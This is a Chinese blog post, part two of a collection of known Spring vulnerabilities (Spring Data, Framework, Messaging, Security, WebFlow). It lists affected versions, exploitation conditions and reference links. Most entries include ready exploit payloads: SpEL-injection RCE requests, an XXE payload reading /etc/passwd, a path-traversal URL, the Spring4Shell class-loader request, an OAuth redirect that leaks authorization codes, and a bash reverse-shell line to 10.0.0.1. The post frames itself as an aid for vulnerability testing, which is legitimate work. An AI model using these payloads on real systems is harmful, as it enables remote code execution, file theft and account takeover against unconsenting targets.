前言
现在的 java 开放的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网站的时候,脑子里虽然零零散散冒出来一堆漏洞,但是却不知道哪些符合当前环境。
因此搜集了所有 spring 相关漏洞,对它们的利用条件和检测方式进行梳理和总结,希望在面对 spring 的时候,能够有一个更完整的思路去发现漏洞。
这里更多是的是的利用条件和检测方式的总结,主要以发现漏洞为目的,至于如何将漏洞效果最大化这里不做过多介绍,网上资料很多,直接查对应文章即可。
此合集由于内容较多,分为上下两部分。
上半部分内容:
-
Spring Boot Actuator 相关漏洞 -
Spring Boot相关漏洞 -
Spring Cloud相关漏洞
下半部分内容:
-
Spring Data相关漏洞 -
Spring Framework相关漏洞 -
Spring Security相关漏洞 -
Spring WebFlow相关漏洞
Spring Data漏洞
❝
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架
❞
(CVE-2017-8046)Spring Data Rest 远程命令执行漏洞
「影响范围」
-
PivotalSpringDataREST2.5.12之前的版本,2.6.7之前的版本,3.0RC3之前的版本 -
SpringBoot2.0.0M4之前版本 -
SpringDataKay-RC3之前的版本
「参考文章」
http://www.code2sec.com/cve-2017-8046-spring-data-restming-ling-zhi-xing-lou-dong.html
「特征」
header头是Content-Type: application/hal+json;charset=UTF-8
「漏洞利用」
PATCH http://localhost:18080/customers/1 HTTP/1.1
Host: localhost:18080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/1", "value": "vulhub" }]
必须是Content-Type: application/json-patch+json
op是replace时,payload后面必须有路径,不然不能触发 具体内容随意
op是test不需要其他路径
「漏洞环境」
见vulhub
(CVE-2018-1259)Spring Data xxe 漏洞
「影响范围」
-
Spring Data Commons 1.13-1.13.11 (Ingalls SR11) -
Spring Data REST 2.6-2.6.11 (Ingalls SR11) -
Spring Data Commons 2.0-2.0.6 (Kay SR6) -
Spring Data REST 3.0-3.0.6 (Kay SR6)
「测试环境」
Spring Data xxe 本地环境
「漏洞利用」
需要对应参数名,如果参数名不存在 则无法触发,比如测试环境参数的是firstname lastname 只能这两个参数触发,修改为其他的无法触发. 需要被动扫描能够解析xml啊
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user1><firstname>&xxe;</firstname><lastname>test</lastname></user1>
「参考链接」
https://blog.spoock.com/2018/05/16/cve-2018-1259/
(CVE-2018-1273)Spring Data Commons组件远程代码执行漏洞
「影响范围」
-
Spring Data Commons 1.13 - 1.13.10(Ingalls SR10) -
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) -
Spring Data Commons 2.0 - 2.0.5 (Kay SR5) -
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
「复现环境」
vulhub
「漏洞利用」
「poc」
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
第二种payload
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
Spring Framework
(CVE-2015-5211)Spring Framework 内容协商机制(content-negotiation)反射型文件下载(RFD)
❝
RFD,即Reflected File Download反射型文件下载漏洞,是一个2014年来自BlackHat的漏洞。这个漏洞在原理上类似XSS,在危害上类似DDE:攻击者可以通过一个URL地址使用户下载一个恶意文件,从而危害用户的终端PC。这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal和其他许多公司认为这是一个中危漏洞。
RFD漏洞原理见 https://coolshell.me/articles/rfd-bug-reflect-spring-world.html
简单来说 鸡肋漏洞
❞
「影响范围」
-
Spring Framework 4.2.0版本至4.2.1版本 -
Spring Framework 4.0.0版本至4.1.7版本 -
Spring Framework 3.2.0版本至3.2.14版本 -
Spring Framework 更早的已不再支持的版本
「参考链接」
https://xz.aliyun.com/t/8341
(CVE-2020-5398)Spring Framework 反射型文件下载(RFD)
❝
同上
❞
「影响范围」
-
Spring Framework 5.2.0 – 5.2.2 -
Spring Framework 5.1.0 – 5.1.12 -
Spring Framework 5.0.0 – 5.0.15
(CVE-2020-5421)Spring Framework 反射型文件下载(RFD)
❝
上个漏洞的绕过
❞
「影响范围」
-
Spring Framework 5.2.0 - 5.2.8、5.1.0 -
Spring Framework 5.1.17、5.0.0 -
Spring Framework 5.0.18、4.3.0 -
Spring Framework 4.3.28以及更早的不受支持的版本
「参考链接」
https://xz.aliyun.com/t/8341
(CVE-2018-1271)Spring Framework 目录穿越
❝
依然是一个触发条件很苛刻的漏洞
❞
「利用条件」
-
要使用file协议打开资源文件目录 -
Windows平台 -
不能使用Tomcat或者wildfy等中间件(本环境演示使用的是jetty服务器)
「payload」
http://127.0.0.1:8080/spring-mvc-showcase/resources/static/..%5c/..%5c/windows/win.ini
「参考链接」
https://blog.spoock.com/2018/05/30/cve-2018-1271/
(CVE-2022-22965)Spring Framework命令执行
❝
核弹级漏洞 但是目前公开出来的利用方式就是tomcat环境下写webshell
❞
「影响范围」
-
Spring Framework < 5.3.18 -
Spring Framework < 5.2.20
「漏洞环境」
vulhub
「漏洞复现」
vulhub提供的是直接写入webshell的,由于有些目标在验证时不允许写webshell,这里做了修改,只是普通的打印一段字符串,用于验证漏洞。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20out.println(%2211111111%22)%3b%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=22&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c2: <%
DNT: 1
Content-Length: 2
Spring Messaging
(CVE-2018-1270)Spring Messaging 远程命令执行
「影响范围」
-
Spring Java Framework < 5.0
「漏洞利用」
sockjs通讯 非http协议 具体方法见https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1270
「复现环境」
vulhub
Spring Security
(CVE-2016-4977)Spring Security OAuth2 远程命令执行
「影响范围」
-
Spring Security OAuth 2.0.0版本至2.0.9版本 -
Spring Security OAuth 1.0.0版本至1.0.5版本中
「漏洞利用」
就是普通的spel表达式注入 参数为response_type
「复现环境」
vulhub
(CVE-2018-1260)Spring Security Oauth2 远程代码执行
「影响范围」
-
Spring Security OAuth 2.3 to 2.3.2 -
Spring Security OAuth 2.2 to 2.2.1 -
Spring Security OAuth 2.1 to 2.1.1 -
Spring Security OAuth 2.0 to 2.0.14
「利用方法」
spel表达式注入 无回显 需要dnslog 漏洞参数scope
payload: ${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
「参考链接」
https://blog.spoock.com/2018/05/13/cve-2018-1260/
(CVE-2019-3778)Spring Security OAuth2 开放重定向
「影响范围」
-
Spring Security OAuth 2.3 to 2.3.4 -
Spring Security OAuth 2.2 to 2.2.3 -
Spring Security OAuth 2.1 to 2.1.3 -
Spring Security OAuth 2.0 to 2.0.16
「限制条件」
-
有问题的Spring Security OAuth2版本 -
OAuth认证使用授权码模式 -
用户需要在登录的情况下
「复现环境」
「漏洞利用」
简单来说这个漏洞就是在利用url跳转偷认证票据
Blackhat 2019有一篇文章"Make Redirection Evil Again URL Parser Issues in OAuth"中提到了一种利用方式,通过添加%ff
,在服务端解析错误后,会将其变成?
,从而达到url跳转的目的。
#访问链接
http://localhost:9090/oauth/authorize?response_type=code&client_id=ananaskr&redirect_uri=http://www.xxxx.com%[email protected]&scope=all&client_secret=123456
#跳转到http://www.xxxx.com并且在后面追加了认证票据code
http://[email protected]?code=xxxx
「参考链接」
https://xz.aliyun.com/t/7409
Spring WebFlow
(CVE-2017-4971)Spring WebFlow 远程代码执行
「影响范围」
Spring WebFlow 2.4.0 - 2.4.4
「复现环境」
vulhub
「复现过程」
# 数据包添加一个带漏洞的参数即可
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=xxxx
复现环境获取
spring
获取
整理不易,点个关注吧🙏
往期文章
原文始发于微信公众号(安全小工坊):spring 漏洞合集 下
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论